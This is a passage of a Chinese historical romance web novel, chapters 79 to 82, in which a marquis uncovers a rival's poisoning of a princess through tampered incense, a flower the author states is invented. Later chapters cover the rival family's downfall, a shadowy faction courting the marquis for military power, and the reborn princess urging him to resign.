谢昀等待她情绪稍微平复,才再次开口,声音放缓了些:“现在,你还要继续为他们保守秘密吗?” 芸香抬起头,泪眼模糊地看着眼前这位,传闻中手段凌厉的明安侯。 她有些迷茫。 她该信他吗?可除了信他,她还有别的路可走吗? 谢昀看出她的挣扎,说道:“将你所知道的一切说出来,本官可以向你保证,不仅保你性命无虞,还会派人护送你返回江南,让你能好生安葬你的家人,隐姓埋名,安稳度日。” 芸香想起父母慈祥的面容,弟妹天真无邪的笑脸,想起薛宝芝平日里对她的打骂…… 所有的恐惧在血海深仇面前,都显得微不足道了。 芸香深吸一口气,用袖子狠狠擦去脸上的泪水和鼻涕,朝着谢昀重重磕了一个头。 “奴婢说,奴婢什么都告诉大人!” “奴婢原是江南钱塘人士,因家传调香手艺,三年前被薛府看中,带入京中安排在薛大小姐身边,专司为她调制熏香、香囊,头油等物。” “大约……大约半月前,小姐交给奴婢一包香味奇异的香粉,让奴婢想法子将此味盖住,混入荼芜香中。” “奴婢也是偷听才得知,那茶芜香是陈二小姐常用的,竟然会伤人性命!”芸香伏地痛哭,“可奴婢不敢不从啊,他们拿我爹娘和弟弟妹妹的命相要挟……奴婢没想到他们竟然,竟然早就……” 她断断续续交代了如何利用机会,让香料混进陈府陈二小姐的屋中,以及事后薛府让她假借母病之名离京的全过程。 谢昀听着芸香的供述,眼神越来越冷。 果然如此,薛宝芝当真是蛇蝎心肠。 为了登上太子妃之位,竟如此草菅人命。 谢昀命人详细记录下芸香的供词,画押确认。 “大人……”芸香抬起头,眼中满是祈求,“您答应奴婢的……” “本官言出必践。”谢昀站起身,“会安排人送你离开,但在案子了结之前,须将你暂押在大理寺。” 他正欲吩咐手下将芸香带下去安置,一名侍卫神色慌张地匆匆闯入刑室,甚至来不及行礼。 他喘着粗气,急声道:“侯爷,不好了,府里来人传信,公主,公主她又晕倒了!” 谢昀脑中“嗡”的一声。 他今日晨起离府的时候,姒华欢还很有精神地骂了他两句,怎么又晕倒了! 不容多想,他人已如同离弦之箭般冲了出去。 第79章 只要她好好的 谢昀策马狂奔回府, 马蹄在寂静的街道上踏出急促的响声,如同他此刻狂乱的心跳。 冲进寝室,看到床榻上姒华欢静静地躺着, 脸上再次失去血色, 仿佛一尊易碎的玉像。 谢昀的心像是被一只手狠狠攥住,疼得他快无法呼吸。 他快步走到床边, 轻轻地握住她冰凉的手。 明明早上离开时, 她还在他的注视下, 乖乖喝了药, 气色也恢复了不少,怎么会又变成这样? 江鹤舒和江老太医正守在床边,两个人皆是眉头紧锁, 低声商议着。 “脉象虚浮紊乱,气血亏虚之象比前次更深, 却又并非单纯的寒症……”江老太医捻着胡须, 百思不得其解。 江鹤舒说道:“祖父, 依公主的症状来看,会不会是有喜了,但还太小,摸不出来?” 有喜了? 谢昀整个人瞬间愣住, 大脑一片空白。 他和姒华欢……有了他们的孩子? 谢昀下意识看向床上昏迷不醒的姒华欢,心跳失序, 连握着她的手都不自觉收紧。 这本该是件喜事, 但这个本应该备受期待的孩子到来,却将他的母亲折磨至此的话…… 短短几息间,谢昀脑中浮现出无限的想象。 然而紧接着,江老太医摇了摇头, 否定道:“不可能。喜脉滑利如珠,往来流利,有充盈之气,绝非此等虚浮杂乱之象,肯定不是喜脉。” 江鹤舒问道:“可若不是,这反复晕厥,大伤元气之状,又该如何解释?” “这恐怕……是毒。”江老太医面色凝重道。 谢昀抬头:“毒?” 江老太医道:“若是寻常之毒,老夫自信还能辨出一二。但此症仅仅会使人体虚力竭,老夫无法确定是何毒物,便难以对症下药。” 寝室内气氛一片沉重,就在这时,门房小心翼翼地捧着一封信在屋外求见。 “侯爷,方才有人送来一封信,指明要交给您。” 谢昀此刻心乱如麻,本不欲理会,但目光扫过那个空空如也的信封,心头一跳。 又是那个神秘人! 谢昀目光一凛,立刻从混乱的思绪中抽离,松开姒华欢的手,大步走到屋外,一把夺过那封信,迅速拆开。 里面的纸上用熟悉的笔迹写着五个字—— 明日,老地方。 又是他!他果然一直在暗中监视,甚至连姒华欢再次晕倒他都一清二楚。 一股被玩弄于股掌之间的怒意涌上谢昀心头,额角青筋跳动。 “景初,怎么了?”江鹤舒注意到他的异常,上前关切地问道。 谢昀这才回过神,强压下翻腾的情绪,将信纸连同信封狠狠揉成一团,扔进了一旁的炭盆中。 橘红色的火苗窜起,将那张纸吞没,化作一小撮灰烬。 “无事。”谢昀尽量保持着平静,“临风,这里劳烦你们先照看着,我出去一下。” 江鹤舒闻言,眼中闪过一丝诧异。 以往公主但凡有点不适,谢昀都是寸步不离地守在床边,今日公主情况不明,他竟要离开? 谢昀无暇解释,匆匆交代了一句后,便大步流星地走出了寝室。 谢昀走到院中,对送信的门房压低声音问道:“信是谁送来的?” 门房连忙回道:“回侯爷,是一个七八岁的小男孩,丢下信就跑了。小的觉得可疑,已经让人把他扣在偏院了。” “带路。” 进到偏院,谢昀见到了那个被侍卫看守着的小男孩,穿着普通,一脸懵懂,一副不知道自己做了什么事的样子。 “这封信,是谁让你送来的?”谢昀居高临下地看着他,声音不大,压迫感十足。 那小孩哪里见过这般阵仗,被他可怕的眼神一吓,“哇”一声哭了出来,抽抽噎噎道:“是、是一个男的,他给了我十两银子,让我把信送到这里,说交给一个姓谢的大官……” “他长什么样子?穿什么衣服?在哪里交给你的?”谢昀追问。 小男孩努力回想,却只是摇头:“他长的没什么特别的,穿的也没什么特别的,是在西市街口给我的……” 侯府加强了戒备,他们无法再像上次那样用剑悄无声息的传递消息,便换了这种难以追查的方式,利用无知孩童做事。 “他还说了什么?或者还给了你别的东西吗?” 小男孩被他吓得一哆嗦,下意识想摇头,但接触到谢昀仿佛能看穿一切的眼神,又害怕地低下了头,小手在衣襟里摸索了几下,掏出了一个小小的瓷瓶。 他本来见这瓶子精致,以为是值钱的玩意儿,还想偷偷昧下。此刻在谢昀骇人的气势下,他半点不敢隐瞒。 “他,他还给了我这个。说……说只要把这瓶子里的药丸,给那位生病的人吃下,人就能醒过来……”小男孩声音越来越小。 谢昀接过瓷瓶,拔开塞子,里面是一颗龙眼大小,色泽乌黑的药丸,与上次那个胡郎中给姒华欢服下的一模一样。 这次他们没有送胡郎中来,而是单独将这药送了来。 不再理会那吓坏了的小孩,谢昀吩咐侍卫把人放了,拿着药瓶立刻返回了主院。 “临风,江老太医,你们看看这个。”谢昀将瓷瓶递给两人。 江老太医接过瓷瓶,倒出药丸,仔细看了看,又凑近闻了闻。 “侯爷,这药是从何而来?” 谢昀避而不答,只追问:“这药有何异常?可能服用?” 江老太医将药丸递给孙子,江鹤舒也仔细辨认了一番,两人对视一眼,皆从对方眼中看到了同样的困惑。 “侯爷,”江老太医开口道,“这药不过是些寻常的益气补血之物,药材并不复杂,配伍也颇为平和,无功无过,只是一剂不错的补药。可若是针对公主殿下眼下这等怪症,绝非对症之药。” 谢昀一怔。 无功无过,只是补药? 那上次那个胡郎中为姒华欢服下药丸后,姒华欢为何就立刻苏醒了? 难道上次根本不是这药丸的功劳,只是恰巧? 或者那胡郎中另有手段,这药丸不过是个幌子? 那神秘人这次特意送来这药是什么意思?戏弄他? 他们到底想做什么? 看来明日的“老地方”,他非去不可了。 杜风带着一身寒气,快步走进来。 他甚至来不及行礼,便直言禀报:“侯爷,芸香后来又招了。” 知道若不是与姒华欢相关的急事,杜风不会如此做派,谢昀转过身,“说。” “芸香交代,公主殿下日常所用的鹅梨帐中香,已经被薛家大小姐薛宝芝暗中调换过了。薛家大小姐让她往原本的香料里,偷偷加入了一种名为‘金盅花’的花粉。” “此花粉混入香中,气味被完全掩盖,根本闻不出来。平日点燃闻之,亦无害处,但是……” 杜风顿了顿,语气加重:“但若用此香者,同时食用蜂蜜,二者相合,便会生成一种慢性毒药,悄无声息地侵蚀人体气血。久而久之,便会导致气血日益亏空,体虚力弱,最终衰竭而亡。” 薛宝芝!又是她! 谢昀周身迸发出骇人的杀气,拳头紧握,眼底一片猩红。 这个毒妇!竟然用如此阴毒手段来害姒华欢! 怪不得江老太医和江鹤舒无论如何都查不出病因,只以为是体虚,原来根源在这里! 一旁的江老太医闻言,先是愕然,随即一拍大腿,恍然大悟:“金盅花!老夫想起来了,老夫曾看到一本游记中提及此花。” “南海之外有蛮夷之地,生有一种奇花,色如赤金,其花粉若与蜂蜜相遇,却能化生隐毒,损人根基于无形!” “原来如此,原来如此啊!薛大小姐竟能寻得此等偏门邪物,以相克之法害人,实在是阴损至极,其心可诛啊!”江老太医叹道。 蜂蜜本是寻常滋补之物,谁能想到,与这花粉相结合,竟成了催命毒药。 谢昀抓住关键问道:“可是公主近日并未再食用蜂蜜,为何还会突然晕厥?” 江老太医缓缓道:“公主此前在宫中居住多日,并未接触那被动了手脚的鹅梨帐中香,体内残留的毒素本已有所缓解。” “但公主凤体因此番折腾已极为虚弱,短时间内再次闻到含有金盅花花粉的香,便会催发已悄然侵入公主肺腑经络的毒素,这才导致急症昏厥。” 谢昀内疚地看着床上的姒华欢,他应该让她继续在宫中静养的。 “那此毒可能解?”谢昀紧盯着江老太医,声音是自己都未察觉的颤抖。 江老太医这次语气肯定了许多:“既然已知病根便好办了。此毒并非无解剧毒,关键在于持续接触的时间。只要立刻停用那动过手脚的香料,确保公主殿下不再接触到金盅花的花粉,再辅以老夫开的温补调理方子精心将养,假以时日,公主凤体自可慢慢恢复。” “只是……公主此番接连受损,元气大伤,非一日之寒,要想彻底养回从前,绝非易事,少说也需一年半载的光景。” 一年半载…… 谢昀悬着的心落下了一半。 他一边庆幸一边心疼。 只要能就能恢复就好,他有的是耐心和时间陪她慢慢养,只要她好好的。 至于那薛宝芝,他定要让她付出代价。 谢昀叫来陶总管,须得先彻底将姒华欢身边的人换成他信得过的人,以免其他人再有可乘之机伤害姒华欢。 吩咐完一切,谢昀走到床边,缓缓坐下,俯身在姒华欢额头落下一个小心翼翼的吻。 “从此以后,我再不会让任何人,有伤害你的机会。”—— 作者有话说:金盅花这个是我杜撰的,没有考究哈 第80章 只要你能好好的 夜色如墨, 谢昀独自一人,熟稔地走入城隍庙内。 那个熟悉的宽大黑色斗篷身影,早已立在布满灰尘的供案之前。 谢昀在他身后几步外站定, 开门见山道:“你是如何得知那鹅梨帐中香内掺有金盅花粉?” 他必须弄清楚, 对方在姒华欢中毒这件事上,究竟扮演了什么角色。 是单纯“恰巧”知道解法, 还是根本就是参与者? 神秘人低笑一声, 语气带着掌控一切的从容:“我并不知道。我不是说过了吗?那位胡郎中对世间各种疑难杂症颇有研究。公主殿下病症颇为奇特, 在下只是恰巧请动了他, 前去一观罢了。” “至于他看出了什么,如何看出的,那是他的本事, 我又如何得知?” 他将自己摘得干干净净,把所有都推给了那个身份成疑的胡郎中。 谢昀继续追问:“既如此, 为何昨日让一个孩童送药, 不见胡郎中前来?” “胡郎中乃云游四方之人, 性情洒脱,不受拘束。”神秘人语气平淡,“我与他不过是有些交情,能请动他出手一次, 已是侥幸,又如何能阻拦他的去向?好在, 他留下的药似乎对公主殿下颇有奇效。” 听他此言, 他似乎也不知道,胡郎中到底给姒华欢的是什么药。 谢昀没有戳穿胡郎中药丸一事,不置可否。 神秘人话锋一转:“倒是明安侯,令尊之事……查得如何了?” 谢昀深吸一口气, 脸上流露出混杂着痛苦挣扎的神色:“我回去后,翻查了所有能找到的卷宗,询问了当年父亲的旧部。虽然很多记录已被抹去或篡改,但蛛丝马迹,并非无迹可寻。” “家父家母之死,当真如你所言。此仇不报,枉为人子!” 他这番表演将一个得知父母含冤而死,内心充满痛苦的孝子形象,刻画得入木三分。 神秘人静静地听着,兜帽下的目光审视着他,片刻后,发出一阵低沉的笑声,满意道:“好!好!不愧是骠骑大将军之子,深明大义,血性未凉。侯爷既有此心,我等愿助侯爷一臂之力!” 谢昀道:“此事涉及朝廷,我要知道,你们为何帮我?” 神秘人道:“骠骑大将军忠勇无双,与我等有救命之恩。如今听闻大将军含冤莫白,我等岂能坐视不理,此乃义之所在。” 他说得情真意切,好似真的有这回事一般。 对方越是表现得大义凛然,谢昀越是警惕。 谢昀提出一个要求:“既然你们诚意相助,那我要见你的主公。如此大事,我需要与能做主的人当面商议。” 神秘人顿了顿,显然没料到谢昀会提出这个要求。 他沉默了数息,才缓缓道:“主公身份特殊,不便见客。侯爷有何要求,尽可告知于在下,在下必当一字不差转达主公。” 谢昀语气冷了下来:“连真正在背后筹划,决定帮我之人是谁都见不到一面,仅凭你一番空口白话,以及这藏头露尾的行事,让我如何相信你们的诚意,又如何敢将身家性命托付于你们?” 神秘人再次陷入沉默,似乎在权衡利弊。 谢昀的疑心和坚持在他的预料之中,却也打破了一点他的计划。 他想了好一会儿,才说道:“侯爷果然谨慎。此事干系重大,非在下能决,需请示主公方能定夺。” 谢昀知道不能逼得太紧,见好就收,点了点头,语气缓和了些许:“好,我等你消息。” 看着谢昀消失在夜色中的背影,神秘人站在原地。 后门被推开,走进一个人,站在阴影中。 神秘人上前躬身禀报:“主公,明安侯果然不是易与之辈,您的判断没错,他这疑心,倒是省了我们不少试探的功夫。” 阴影中的男人开口道:“让王远去见他。” “是。” ***** 姒华欢是在一片温暖的晨光中缓缓醒来的。 她费力地眨了眨眼睛,长长的睫毛像蝶翼般颤动了几下,才适应了室内明亮的光线。 她微微偏过头,看到了床榻边有个人。 谢昀就趴伏在床沿,似乎是累极了,睡得正沉。 他侧着脸朝向她的方向,平日里总是梳理得一丝不苟的墨发,此刻有几缕散落额前,难得的凌乱。 他的眼下有明显的淡青色阴影,下颌也冒出了一层青色的胡茬,整个人都透着一股难以掩饰的疲惫。 他甚至连外袍都没脱,只是随意地搭在身上,一只手还紧紧握着她的手。即使在睡梦中,也生怕她会消失不见一般。 看着他这副模样,姒华欢的心像是被什么东西轻轻撞了一下,酸酸软软的。 这样的场景,好像不是第一次了,他总是这样一直守着自己。 她尝试动了一下,想抽出手去碰碰他的脸,这细微的动静惊醒了本就浅眠的谢昀。 他立刻睁开眼睛,琥珀色的眸子里还带着初醒时的朦胧,但在对上她清亮目光的刹那,所有的睡意瞬间消散,取而代之的是惊喜之色。 “你醒了?”他的声音还是刚睡醒的沙哑,俯身凑近她,仔细端详她的脸色,“感觉怎么样?还有哪里不舒服?渴不渴?饿不饿?” 一连串的问题如同雨点般砸下来。 姒华欢心中微暖,蹙起秀眉,声音又轻又软:“渴……嗓子好干,疼……” 谢昀起身快步走到桌边,倒了一杯一直温着的清水,又试了试温度,觉得刚好,才端回床边。 他没有直接将杯子递给她,而是小心翼翼地单手扶起她虚软的身子,让她靠在自己的怀里,然后再将杯沿凑到她的唇边。 慢慢喝下一杯水,姒华欢问道:“我到底怎么了?怎么好好的,又晕倒了?” 谢昀不想在她刚醒,身体还如此虚弱的时候,就告诉她那些阴毒之事。 她一生气,又耗费心神,与养病无异。 他道:“你先吃点东西,把精神养回来一些,我再告诉你好不好?” 姒华欢听他此言便知晓,事情没有那么简单,只好点点头。 很快,姚黄端着托盘进来,上面是一碗炖得晶莹剔透、香气扑鼻的清粥,和几样精致的小菜。 谢昀接过粥碗,依旧是自己亲自来喂。 姒华欢吃着吃着,目光不由自主地落在谢昀脸上,看着他专注的神情和他眼底柔和的波光,心里像是被羽毛轻轻拂过,痒痒的。 “看什么?”谢昀察觉到她的目光,抬眼问道,唇角微勾。 姒华欢被抓包,有些不好意思地垂下眼睫,说道:“看你……丑死了,胡子拉碴的,眼下一片乌青,一点气色都没有。” 谢昀故意凑近了些,作势要用冒出的胡茬去蹭她的脸颊,低笑道:“嫌我丑?那也没办法,吓得我魂都快没了,哪里还顾得上仪表?” 姒华欢被他扎过一次,缩着脖子躲闪,伸手去推他:“哎呀!好痒!你别闹,扎死我了!” 两人笑闹间,气氛变得格外温馨旖旎。 谢昀看着她终于恢复了些许血色的脸颊和明媚的笑容,心中另一半石头也落地了。 他停下动作,依旧保持着凑近的姿势,用鼻尖蹭了一下她的鼻尖,目光深深地望进她的眼睛里,声音低沉而缱绻:“只要你能好好的,我再丑些也无妨。” 姒华欢听得心跳不自觉加快,有些慌乱地移开视线,小声嘟囔:“谁……谁要你丑了,你丑了我就不要你了……你快去刮胡子……” “好,你喝完这碗粥,我就去收拾干净,不污了我们公主殿下的眼。”谢昀笑着直起身,继续耐心地喂她喝粥。 一碗粥见底,姒华欢觉得身上暖和了许多,也有了点精神,用手帕擦过嘴角后,又提起:“现在可以告诉我了吧?我到底生了什么病?你别想又糊弄我。” 谢昀沉吟了一下,讲条件道:“你先把这碗参汤喝了,提提神,我再慢慢告诉你,好不好?” 姒华欢一看那黑乎乎的药汁,立马皱紧了小脸,直摇头:“不喝,苦死了,上次那个药苦的我舌头都快掉了,你休想再骗我喝这些!” 前几日姚黄熬了一碗参汤,也不知是放了什么东西,苦得她差点干呕出来。 谢昀看她如临大敌,满脸抗拒的模样,又是好笑又是心疼。 他端起参汤,自己先尝了一小口,然后才递到她面前。 “不苦,我尝过了,是甜的。临风特意加了甘草和红枣,说是给你补气力的,你看,我都没事。” 姒华欢将信将疑地看着他,又看了看那种汤,犹豫了一下,才勉强道:“……那你再喝一口我看看。” 谢昀从容地又喝了一口,姒华欢这才稍微放下心,就着他的手,将那盅参汤喝完了。 确实带着甘甜,并不难喝。 看着她喝完,谢昀拿出早就备好的蜜饯,拈起一颗递到她嘴边。 姒华欢含住蜜饯,酸甜的滋味在口中化开,冲淡了参汤的药气。 她满足地眯了眯眼,像只被顺毛的猫儿。 “现在可以说了吧?”姒华欢含着蜜饯,含糊不清地追问。 谢昀叹了口气,知道躲不过去了,便将芸香招供,薛宝之利用金盅花粉与蜂蜜相克之事,简单明了地告诉了她。 姒华欢听完,眸中燃起熊熊怒火,咬牙道:“薛宝芝!果然是她!我就知道,除了她,还有谁会如此处心积虑的想要我的命!” “她怎么敢!一次又一次!上次她就用杏仁粉害我,这次还耍的是同样的把戏!” 谢昀一愣:“什么?什么杏仁粉?” 姒华欢手握成拳,捶了一下被子,“是林妙晴在狱中告诉我的,中秋夜那次风疹,是薛宝芝自导自演的一出贼喊捉贼的好戏!” 谢昀瞳孔骤缩。 他之前只当薛宝之是觊觎权势,心思不纯,却万万没想到她竟然从那么早开始,就用如此歹毒的方式算计了他放在心尖上的人。 一想到中秋夜姒华欢痛苦不堪的模样,一想到她当时可能面临的危险,而自己,竟还险些对“出手相救”的薛宝芝心存一丝感激,谢昀就觉得一股怒火直冲头顶。 现在哪怕是杀了薛宝芝都不够!—— 作者有话说:补更~《 》 80-90 第81章 她想他了 早朝, 含元殿内。 嘉平帝端坐于龙椅之上,面色铁青,手中捏着大理寺呈上关于薛宝之谋害陈二小姐及康乐公主的完整卷宗。 桩桩件件, 铁证如山, 辩无可辩。 看完,嘉平帝将卷宗狠狠掷于殿下, 声音威严, 透着凛冽杀意:“薛林甫, 尔身为丞相, 世受国恩,不思报效,竟纵女行此大逆不道之事!谋害太子妃, 戕害公主,其心可诛!” “薛宝芝, 蛇蝎心肠, 屡施毒计, 罪无可赦!” 他没有给薛林甫任何喘息和求情的机会,厉声宣判:“薛林甫、薛宝芝父女二人,谋大逆,处以极刑!薛府满门, 不问长幼,一律西市问斩!其叔伯兄弟之子等皆徒流三千里, 遇赦不赦, 家产抄没充入国库,以儆效尤!” 薛林甫瘫软在地,面如死灰。 圣意已绝,无可挽回。 他求情的下场, 便是牵连更多的族人。 诏书下达,羽林军冲入薛府,昔日宾客盈门的相府,顷刻间哭号震天,鸡飞狗跳。 曾经高高在上的薛家子弟,此刻皆成了阶下囚。 薛家人在万民唾骂声中,身首异处。 曾经权倾朝野的薛家,一夜之间,轰然倒塌,烟消云散。 与此同时,朝堂之上,薛家党羽及与薛家来往甚密的官员纷纷被贬黜、查办,甚至下狱。 嘉平帝借此机会大力清洗朝堂,朝廷格局巨变。 整个京城为之哗然。 街头巷尾,茶楼酒肆,无不议论纷纷。既惊骇于薛家的胆大包天,也震慑于皇权的冷酷无情。 薛家之事尘埃落定数日后,谢昀再次收到了无字信封的来信,地点换成了京城西市一家看似普通的茶楼雅间。 谢昀如期而至。 推开雅间的门,里面见到的,不再是那个笼罩在斗篷下的神秘人。 一名身着锦袍,面容普通,约莫四十岁上下的中年男子正欣赏着墙上的一幅山水画,听到脚步声,缓缓转过身来。 他对着谢昀微微一笑,伸手示意:“明安侯,久仰大名,今日终于得见。” 谢昀目光如炬,迅速扫过此人。 此人举止从容,看似是主事之人,但谢昀敏锐地察觉到,他没有久居人上的威仪。 他并非神秘人背后的主公。 但谢昀没有点破,只是微微颔首,不动声色地在他对面坐下:“阁下便是屡次施以援手之人?不知该如何称呼?” “名讳不过代号,侯爷称我李先生即可。”中年男子微微一笑,亲手执壶,为他斟了一杯热茶。 “侯爷少年英才,智勇双全,一举扳倒薛家,实在令在下佩服。” 谢昀端起茶杯,指尖感受着瓷壁的温热,并未饮下,只是淡淡道:“薛家多行不义,自取灭亡,与本侯何干?阁下约我前来,不会只是为了说这些恭维之词吧?” “侯爷快人快语。”李先生笑了笑,放下茶壶,身体微微前倾,压低了声音,“薛家虽除,但侯爷心中真正的刺,该考虑拔除了吧?” 谢昀眼神微凝,默然看着他。 李先生继续道:“据在下所知,当年谢家军虽经整编,但其中不少老兵旧将仍对骠骑大将军忠心耿耿,念念不忘。不知侯爷如今可能调动这支力量?” 图穷匕见。 谢昀心中冷笑。绕了这么大的圈子,演了这么久的戏,最终的目的是为了兵权。 他们是为了那支曾经跟随父亲南征北战,骁勇善战的谢家旧部,想利用他来为他们的谋反大业增添筹码。 “谢家军早已归入朝廷,受兵部辖制。”谢昀语气平淡,听不出情绪,“本侯一介大理寺少卿,有何权利调动?” 李先生似乎早有所料,意味深长地笑了笑:“侯爷过谦了,以侯爷的身份和在军中的威望,若真想做些什么,未必没有机会,更何况……” “如今朝廷正值多事之秋,薛家倒台,牵连甚广,兵部侍郎一职恰好空悬。侯爷若能趁此机会取得陛下信任,任职兵部,想必对我们的大业更为有益。” 真是打的好算盘。 有了兵马,下一步自然就需要粮草、军械、舆图,兵部正是掌管这些的关键所在。 还真是逮着他这一只羊往死里薅。 谢昀面上露出为难之色,放下茶杯摇了摇头:“李先生抬举了。本侯蒙陛下信重,任职大理寺,已是殊恩。突然谋求兵部要职,却并无显赫军功傍身,恐难服众,也易惹人非议,陛下也不会轻易应允。” “事在人为嘛。侯爷聪慧过人,深得圣心,只要有心,总能找到合适的时机和理由……这就得看侯爷的本事了。” 李先生将球又轻飘飘踢了回来,显然是看谢昀的投名状能交到什么程度。 谢昀道:“此事,本侯需从长计议。” 李先生拱手道:“在下静候侯爷佳音。只要侯爷有心,在下必当倾力相助。” ***** 姒华欢在江鹤舒的调理下,身子一日好过一日。 虽然依旧比常人容易疲倦,但至少不再那般虚弱无力,脸上也渐渐恢复了血色。 这日午后,阳光正好,姒华欢披着厚厚的狐裘,拿着一个小小的沙包往远处扔去。 焦焦立刻窜了出去,精准在半空中叼住沙包,又屁颠屁颠跑回来,将沙包放到她手里,仰着头,一双溜圆的眼睛里满是期待。 姒华欢用食指和大拇指捏起沾了焦焦口水的沙包,有些嫌弃,但还是再次扔出,随口问姚黄:“近日朝中可是又出了什么大案要案?怎么大理寺忙成这样?” 几次想去找谢昀解解闷,得到的回复总是“侯爷去上职了,尚未回府”。 姚黄正含笑看着公主与焦焦嬉戏,闻言,小心翼翼地回答:“殿下……侯爷他……前些日子,已经不在大理寺任职了。” “不在大理寺了?”姒华欢扔沙包的动作顿住,有些意外地转头看向姚黄。 姚黄道:“侯爷……是调去了兵部任职,而且陛下还加封了侯爷为左羽林军大将军。” 兵部……左羽林军大将军…… 姒华欢手上的沙包“啪嗒”一声掉落在地。 焦焦疑惑地歪了歪头,叼起沙包,习惯性地往她身上拱去,要将沙包递给她。还在奇怪,她这次为什么扔得这么近。 姒华欢整个人完全僵住了。 前世,谢昀就是在担任了兵部要职,并掌握了部分兵权后,才最终有了宫变的那一日。 按照前世的轨迹,这应该是两年后才会发生的事情,为什么这一世会提前这么多? 那是不是意味着……离她的死期,也没有多久了? “殿下,殿下你怎么了?脸色怎么这么白?”姚黄见她神色不对,慌忙上前扶住她。 姒华欢猛然回神,也顾不上脚边的焦焦,提起裙摆,转身就朝着府门的方向快步走去。 “殿下,你要去哪儿?”姚黄和魏紫吓了一跳,赶紧跟上。 “备车,进宫!” 姒华欢一路不顾宫人惊愕的目光,径直冲进了紫宸殿。 殿外的宫人见她脸色不对,也不敢阻拦。 嘉平帝正在批奏折,听到脚步声,抬头见是宝贝女儿来了,脸上立刻露出了慈爱的笑容,放下朱笔,想着正好问问她身子调养的如何了。 然而他脸上的笑容还没完全展开,就见姒华欢一阵风似的冲了进来,甚至来不及行礼,便急声质问:“父皇,您为何要将谢昀调任兵部,还封他为左羽林军大将军?” 嘉平帝被她劈头盖脸的质问给弄懵了,脸上的笑容僵在那里。 “蓁蓁,你这是怎么了?”嘉平帝皱眉疑惑道,“景初他是你的驸马,能力出众,我提拔他,授予重任,这不是好事吗?” 两人不是感情渐近了吗?怎么还一副不愿看到谢昀好的样子? “父皇,您为何要给他兵权?您就不怕,不怕他……” 嘉平帝看着她这副模样,心中疑惑更深。 他这个女儿,平日里对朝政国事从不关心。便是谁当了宰相,谁封了国公,她也未必会多问一句。 如今不过是给谢昀调了个职,加了份兵权,她怎么反应如此激烈? 嘉平帝放缓了语气:“蓁蓁,你在担心什么?景初是谢家儿郎,忠良之后,是我看着长大的,他的品性我信得过。他对你的心意,我也看在眼里。他绝无二心,你大可放心。” “万一呢?”姒华欢急切道。 皇帝有些莫名其妙:“蓁蓁,你与景初吵架了?” 姒华欢见父皇笃信不疑的神情,心中又急又无奈,知道现在自己说什么都是徒劳,更像是在无理取闹。 她咬了咬下唇,不再争辩,屈膝行了个礼,声音闷闷的:“没有,儿臣告退。” 看着女儿莫名其妙来,又莫名其妙走的背影,皇帝摇了摇头。 这孩子,病了一场,把脑子都病糊涂了?还是他们夫妻之间,闹了什么别扭? 姒华欢一路上都在苦思冥想。 父皇那里行不通,她只能自己想办法。 既然无法阻止父皇收回兵权,那能不能……让谢昀主动放弃? 思索良久,她唤来姚黄,吩咐道:“去兵部给谢昀传个话,就说我今晚等他一起用晚膳。” 兵部衙门内,谢昀正在与几位下属商讨事宜。 听到府中来人传话,说是公主殿下特意嘱咐,今晚等他一同用晚膳时,他愣了一下。 这还是姒华欢第一次主动派人来衙门寻他! 这是不是说明……她想他了? 谢昀立刻将手上火烧眉毛的急事都丢给了另一位兵部侍郎:“赵大人,此事由你全权处理,若有疑难,明日再议。” 说完,将同僚幽怨的眼神抛在脑后,快步离开了衙门,归心似箭—— 作者有话说:赵大人:为我花生! 第82章 原来杀她的人,根本不是…… 回到府中, 花厅已经布好晚膳。 看见姒华欢坐在桌旁托腮等他,谢昀只觉得连日的疲惫都一扫而空。 他快步走到她身边坐下,立刻有侍女端上温水和干净的帕子。 他细细地洗了手, 用帕子擦干, 凑近姒华欢,眉眼带着戏谑, 低声笑道:“今日怎么特意传话等我?想我了?” 本是习惯性的插科打诨, 想逗逗她, 却万万没想到, 姒华欢闻言竟然抬起眼,十分认真地看着他。 然后,轻轻点了点头, 从喉咙里发出一个单音:“嗯。” 谢昀一怔。 他……他没听错吧?她居然承认了? 他转头看了一眼窗外已然落下的日头,今日太阳打西边出来了? 谢昀仔细端详着她的神色, 试探着问:“你今天……是不是遇到什么特别开心的事了?” 他实在有些不习惯, 甚至都有点怀疑眼前的人是不是被调包了。 姒华欢心中有事, 根本没在意他的调侃。她拿起筷子却又放下,没什么胃口,开始按照自己打好的腹稿,开始了她的铺垫。 “我最近待在府里, 实在是闷得慌,几番想找你, 找了你几次你都不在, 你现在怎么这么忙啊?” 谢昀没想到她会关心自己的公务,心中有些意外,又有些受宠若惊。 他仔细地剔掉鱼刺,将雪白的鱼肉夹到她碟中, 解释道:“我刚调任兵部,许多事务需要熟悉交接,确实比在大理寺时繁忙些。” 看着姒华欢低垂的眉眼,谢昀心中一动,半是玩笑半是期待地问:“怎么?是嫌我陪你的时间少了,想让我多在府里陪陪你?” 本以为她会像往常一样嘴硬否认,或者嗔怪他几句。 让他没想到的是,姒华欢看着他,又一次点了点头。 在谢昀尚未从这接连的“惊喜”中回过神来时,她语不惊人死不休地说道:“所以谢昀,你能不能辞官?” 花厅内一阵诡异的安静,只有烛火燃烧时发出的轻响。 谢昀夹菜的动作顿住,筷子悬在半空,缓缓转过头,看向身旁一脸认真建议他辞官的姒华欢,眼中充满了难以置信。 辞官? 她让他辞官? 他一时间竟然不知如何回应。 姒华欢看着他脸上难以掩饰的错愕与不解,心中打鼓。 她知道这个请求有多么荒唐,多么不合常理。 可她没有办法直接告诉他——交出兵权,否则我可能会死。 她没有任何站得住脚的理由,只能寄希望于他对自己那点或许存在的……情谊。 “辞官?”谢昀重复这两个字。 他盯着姒华欢,试图从她眼中找出哪怕一丝玩笑的痕迹。 但没有。 她是认真的。 “为什么?”谢昀问道,“为什么突然让我辞官?” 他不能理解。 他刚刚接手兵部,暗中调查神秘人和他背后的主公,更要借此权势更好地保护她。 前途看起来一片光明,正是大展拳脚之时。 她为何会在此刻提出如此匪夷所思的要求?仅仅是因为觉得被冷落了? 不,不像。 她眼中的情绪,远比抱怨要复杂得多。 姒华欢被他探究的目光看得心慌意乱:“我,我不想你那么忙,不想你卷入那些……那些复杂的事情里去。” 她越说声音越低,底气越发不足。 谢昀看着她闪烁的眼神和紧握筷子的手,心中疑云越来越重。 他有了一些不好的预感。 “你是不是听到了什么风言风语,还是有人……对你说了什么?” 不知道他为什么会这么想,姒华欢摇头否认:“没有,没有人对我说什么。” 她现在对前世的了解,只是通过虚幻的梦境。 她想弄清楚那时的真相,想知道她到底被谁所杀,想知道谢昀为什么杀人如麻。 但她又不知道从何查起,不知道如何才能避免重蹈覆辙。 她想到最干脆利落的办法,就是收回谢昀的权力,让谢昀带兵入城那一日绝不会发生。 